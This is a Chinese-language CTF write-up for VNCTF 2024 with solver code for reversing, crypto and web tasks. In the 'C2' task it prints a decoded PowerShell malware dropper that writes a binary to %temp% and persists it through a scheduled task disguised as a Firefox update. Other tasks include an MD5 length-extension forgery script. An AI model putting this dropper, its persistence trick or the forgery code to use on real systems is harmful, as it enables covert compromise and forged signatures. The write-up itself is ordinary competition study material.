感谢老铁送的咖啡杯
Table of Contents
VNCTF 2024 wp #
re #
TBOXs #
全是花,懒得去了,手撕汇编吧
fuzz 完长度调进tea算法
和正常tea相比多了个异或0x33
花大概长这样,只对jmp做了替换,比较正常
push eax
.text:001E10C3 50 push eax
.text:001E10C4 9C pushf
.text:001E10C5 E8 00 00 00 00 call $+5
.text:001E10C5
.text:001E10CA
.text:001E10CA loc_1E10CA: ; DATA XREF: sub_1E10BB+10↓o
.text:001E10CA 58 pop eax
.text:001E10CB 05 2A 00 00 00 add eax, (offset xxtea - offset loc_1E10CA) ; tea class
.text:001E10D0 89 44 24 08 mov [esp+0Ch+var_4], eax
.text:001E10D4 9D popf
.text:001E10D5 58 pop eax
.text:001E10D6 C3 retn
秘钥和密文
加个异或0x33,一把梭哈
#include <stdio.h>
#include <stdint.h>
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i<32; i++) { /* basic cycle start */
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3)^0x33;
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1)^0x33;
sum -= delta;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
void encrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], sum=0, i; /* set up */
uint32_t delta=0x9e3779b9; /* a key schedule constant */
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */
for (i=0; i < 32; i++) { /* basic cycle start */
sum += delta;
uint32_t tmp = ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1)^0x33;
v0 += tmp;
// printf("0x%x\n",tmp);
tmp = ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3)^0x33;
// printf("0x%x\n",tmp);
// getchar();
v1 += tmp;
} /* end cycle */
v[0]=v0; v[1]=v1;
}
// '''
// .data:001E3028 key0 dd 67626463h ; DATA XREF: xxtea+33↑r
// .data:001E302C key1 dd 696D616Eh ; DATA XREF: xxtea+2A↑r
// .data:001E3030 key2 dd 79645F65h ; DATA XREF: xxtea+55↑r
// .data:001E3034 key3 dd 6B696C69h
// 0x8A932F0D
// '''
int main()
{
uint32_t v[2]={0x61616161,0x62626262},k[4]={0x67626463,0x696D616E,0x79645F65,0x6B696C69};
encrypt(v, k);
printf("enc = %08x %08x\n",v[0],v[1]);
uint32_t enc[10] = {0x31363010,
0x0AD938623,
0x8492D4C5,
0x7567E366,
0x0C786696B,
0x0A0092E31,
0x0DB695733,
0x0DD13A893,
0x88D8A53E,
0x7E845437,};
for(int i=0;i<5;i++){
v[0] = enc[0+i*2];
v[1] = enc[1+i*2];
decrypt(v, k);
printf(" 0x%08x,0x%08x\n",v[0],v[1]);
}
return 0;
}
from Crypto.Util.number import *
m = [ 0x54434e56,0x6f427b46,
0x626f5f78,0x63737566,
0x6f697461,0x6e615f6e,
0x6f795f64,0x72615f75,
0x636f735f,0x7d6c6f6f,]
for i in m:
print(long_to_bytes(i)[::-1].decode(),end='')
# VNCTF{Box_obfuscation_and_you_ar_socool}
C2 #
powershell脚本释放木马
用iex指令执行powershell命令来释放载荷
iex([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(badcode)
把iex换成echo慢慢分析释放的文件
echo ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String($code)))>./data4
最后得到一个这样的文件
$b64EncodedData = ...
$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$PEBytes | Set-Content -Path $filePath -Encoding byte -Force
Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"
$actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start %temp%\169sdaf1c56a4s5da4.bin"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
$taskName = "Firef0x update services"
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
Start-ScheduledTask -TaskName $taskName
会生成一个定时任务 Firef0x update services 定期启动 169sdaf1c56a4s5da4.bin
-Encoding byte 在新版本ps中用不了了,换成-AsByteStream生成小马文件
$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$filePath = "./169sdaf1c56a4s5da4.bin"
# $PEBytes | Set-Content -Path $filePath -Encoding byte -Force
$PEBytes | Set-Content -Path $filePath -AsByteStream byte -Force
# Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"
# $actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start %temp%\169sdaf1c56a4s5da4.bin"
# $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
# $taskName = "Firef0x update services"
# Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
# Start-ScheduledTask -TaskName $taskName
smc释放rc4加密程序用于流量加密
往上翻翻到cmd字符s
和请求的文件flag.txt
GetFileAttributesA 会去掉路径,所以秘钥是flag.txt
flag.txt长度为34
刚好 后面发送了34bytes
还可以大力飞砖狠狠猜测解密秘钥
def KSA(key):
""" Key-Scheduling Algorithm (KSA) """
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
""" Pseudo-Random Generation Algorithm (PRGA) """
i, j = 0, 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key, text):
""" RC4 encryption/decryption """
S = KSA(key)
keystream = PRGA(S)
res = []
for char in text:
res.append(char ^ next(keystream))
return bytes(res)
key = b'5A15-9DEC'
key = b'DESKTOP-1OKUO44'
key = b'D:\flag.txt'
key = b'flag.txt'
# plaintext = b'hello world'
plaintext = bytes.fromhex('7371857ded3356944e79b89f4c9d86223f515248322d40cc65a2be00c473a90ed4534b5362ac7f030211a0')
print(plaintext)
print(len(plaintext))
ciphertext = RC4(key, plaintext)
print(ciphertext)
# b'vnctf{84976be3-9809-4a3b-9711-51621e388286}'
crypto #
basiclog #
bsgs,一下子忘记怎么写
import signal
import os
import sys
import random
flag = "************************"
def timeout(*args):
sys.exit(0)
q =
p =
g = 2
signal.signal(signal.SIGALRM, timeout)
signal.alarm(1800)
x = random.getrandbits(48)
# y = pow(g, pow(g, x, q), p)
y = pow(g, pow(g, x, q), (2*q+1))
print(y)
try:
_x = int(input('> '))
if x == _x:
print(flag)
else:
print("Error...")
except:
exit(0)
将x分为高24位和低24位
$$ X = 2^{24}*i + j=a * i+j, \\ $$
i,j 大小为24位
令 $$ t1=g^{ai},t2=g^j $$
$$ y=g^{g^X}=g^{g^{ai+j}}=g^{t1 * t2} $$
$$ y^{\frac{1}{t2}}=g^{t1} $$ y ,g已知,bsgs先遍历t1再遍历t2
from tqdm import tqdm
from gmpy2 import powmod
# from pwn import *
q = 11769445852166501942131444325164359907623906505859865854871085543754710159882777389890225783970170353153967463136054852998337865848469266919651006863215539
p = 23538891704333003884262888650328719815247813011719731709742171087509420319765554779780451567940340706307934926272109705996675731696938533839302013726431079
g = 2
dic1 = {}
a = 2 ** 24
gt = powmod(g,a,q)
index = 1
for i in tqdm(range(2**24)):
index *= gt
index %= q
# index = powmod(g,a*i,q)
dic1.update({powmod(g,index,p):i})
y = 20359682232055289212157586911450917222215377353654625082087959010419426876834432268021148452386813361216114184898804593896971729963677826891844946593981599
# 20359682232055289212157586911450917222215377353654625082087959010419426876834432268021148452386813361216114184898804593896971729963677826891844946593981599
# 264291690918820
x = 0
for j in tqdm(range(2**24)):
index = powmod(g,j,q)
tmp = powmod(y,index,p)
if tmp in dic1.keys():
x = (a*dic1[tmp] - j) % q
print(x)
break
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 16777216/16777216 [19:32<00:00, 14307.12it/s]
65%|████████████████████████████████████████████████████████████████████████▉ | 10831959/16777216 [11:41<08:38, 11466.33it/s]
264291674141604
65%|████████████████████████████████████████████████████████████████████████▉ | 10832988/16777216 [11:41<06:24, 15444.58it/s]
basiccry #
import random
from Crypto.Util.number import *
flag = b'ljahum'
m = bytes_to_long(flag)
rr = matrix(ZZ,[random_vector(ZZ,256,0,2) for _ in range(256)])
mm = matrix(GF(2),[list(bin(m)[2:].rjust(256,'0'))]*256)
cc = mm+rr
ii = vector(ZZ,input("Undoubtedly, this is a backdoor left for you: ").split(","))
dd = rr*ii
print(cc)
print(dd)
注意ii和rr用的都是ZZ
直接用1到2的255次方填充ii
dd的每一个元素的二进制就是rr的行向量
from pwn import *
# from crackMd5 import makeMD5_warp
debug = True
sh = remote("manqiu.top",22000)
buf = sh.recvuntil(b"you:")
print(buf)
buf = ''
for i in range(255):
buf += str(2**i)
buf+=','
buf += str(2**255)
print(buf)
sh.sendline(buf.encode())
buf = sh.recvuntil(b")")
with open("buf.txt",'wb+') as f:
f.write(buf)
print(buf)
from data import dd,cc
from Crypto.Util.number import *
rr=[]
for i in dd:
tmp = bin(i)[2:].rjust(256,'0')[::-1]
list_of_bits = [int(bit) for bit in tmp]
rr.append(list_of_bits)
RR = matrix(ZZ,rr)
CC = matrix(GF(2),cc)
M= CC -RR
print(M[0])
f=''
for i in M[0]:
f+=str(i)
print(f,int(f,2))
print(long_to_bytes(int(f,2)))
SignAhead #
print(f'Round {i}')
key = token_bytes(32)
msg = token_bytes(64)
sign = md5(key + msg).hexdigest()
print('msg:', msg.hex())
print('sign:', sign)
print('FORGE ME!!!!')
newmsg = bytes.fromhex(input('msg: '))
newsign = input('sign: ').strip()
assert msg != newmsg
if md5(key + newmsg).hexdigest() == newsign:
md5长度扩展
from pwn import *
from crackMd5 import makeMD5_warp
debug = True
sh = remote("manqiu.top",21199)
def run():
buf = sh.recvuntil(b'msg:')
buf = sh.recvuntil(b'sign:')
msg = buf.split()[0]
buf = sh.recvuntil(b'FORGE ME!!!!')
sign = buf.split()[0]
print(msg)
print(sign)
new_message,new_hash =makeMD5_warp(msg,sign)
print("new_message",len(new_message),new_message)
print("hash",len(new_hash),new_hash)
# sh.interactive()
sh.sendlineafter(b"msg:",new_message)
sh.sendlineafter(b"sign:",new_hash)
buf = sh.recvline()
print(buf)
buf = sh.recvline()
print(buf)
tmp = 0
for i in range(100):
run()
sh.interactive()
buf = sh.recv()
print(buf)
现成的哈希扩展貌似没啥好的库
不如自己手动改一个现成的工具
https://github.com/eid3t1c/Hash_Extender
这个比较新,把他的Hash_Functions拿来可以直接用
crackMd5模块
from Hash_Functions import MD4,MD5,SHA1,SHA256,SHA512
import argparse
from hashlib import md5
def Lendian_STATE(signature):
if len(signature) != 32:
raise ValueError("The input hash must be 32 bytes long.")
# Split the hash into 4 equal parts
parts = [signature[i:i + 8] for i in range(0, 32, 8)]
# Convert each part to little-endian format
little_endian_parts = []
for part in parts:
temp = ""
little_endian = part[::-1] # Revert It
for j in range(0,len(little_endian),2): # For every hex digit
temp += little_endian[j+1] + little_endian[j] # Make it little endian
little_endian_parts.append(temp)
A = int(little_endian_parts[0],16)
B = int(little_endian_parts[1],16)
C = int(little_endian_parts[2],16)
D = int(little_endian_parts[3],16)
return A,B,C,D
def New(known:bytes,append:bytes,key_length:int,block_size,message_size_bytes,endian):
# Re-create the same padded message as the server
current_message_after_padding = known + b"\x80" + b"\x00" * ((block_size - len(known) - key_length - 1 - message_size_bytes) % block_size) + ((key_length + len(known)) * 8).to_bytes(message_size_bytes,byteorder=endian)
# Append the extra data
new_message = current_message_after_padding + append
# Calculate the new bit-byte length
total_prefix = (key_length + len(current_message_after_padding) + len(append)) * 8
# Create the same padded message that the server will process with the given hash
to_hash = append + b"\x80" + b"\x00" * ((block_size - len(append) - 1 - message_size_bytes) % block_size) + (total_prefix).to_bytes(message_size_bytes,byteorder=endian)
return new_message,to_hash
def make_md5(s,d,a,k):
Signature = s
Data = d
Append = a
Key_length = k
new_message,to_hash = New(Data,Append,Key_length,64,8,"little") # Create the new message.
A,B,C,D = Lendian_STATE(Signature) # split the given hash into a proper state
new_hash = MD5.MD5(to_hash,(A,B,C,D)) # Hash the new message with the given hash being the state
# result(str(new_message)[2:-1],new_hash)
# print(type(new_message),type(new_hash))
# print(new_message,new_hash)
return new_message.hex(),new_hash
#
def makeMD5_warp(msg,sign):
s = sign.decode()
d = bytes.fromhex(msg.decode())
a = b'\x02'
k = 32
new_message,new_hash = make_md5(s,d,a,k)
print("new_message",len(new_message),new_message)
print("hash",len(new_hash),new_hash)
return new_message,new_hash
# test
# key= b'8c1a9e255f134313b4daf80302a0adc7407d5b3dc62b398bf9b2b744682fd12e'
msg= b'76840232b0f01ef9a0c2e707d39a8010e3f2252afcb56d13cc5291a74c42cb296a9c77db374569af4f34ffd1205f66e0b9e3fa0e7ad101dacb9635300c8be486'
sign= b'fc644f3c6e915ef2ad0e8f05400d62df'
# msg= b'335ad8fe600254c15a21e8ef6a9ee18e11428404b8c10e8bc21d22df64439d5e407a076db71f38edc9ee83f087cdbaaa9a4c130c1eb685da33ad564ea3baeeb7'
# sign= b'80332dbb864091cef75e4fdbb59bfa75'
s = sign.decode()
d = bytes.fromhex(msg.decode())
a = b'\x02'
k = 32
new_message,new_hash = make_md5(s,d,a,k)
print("new_message",len(new_message),new_message)
print("hash",len(new_hash),new_hash)
web #
Checkin #
啊,环境关了进不去了
f12然后狠狠大浪淘沙flag就出来了
感谢VN的hxdm送的咖啡杯
永远爱你们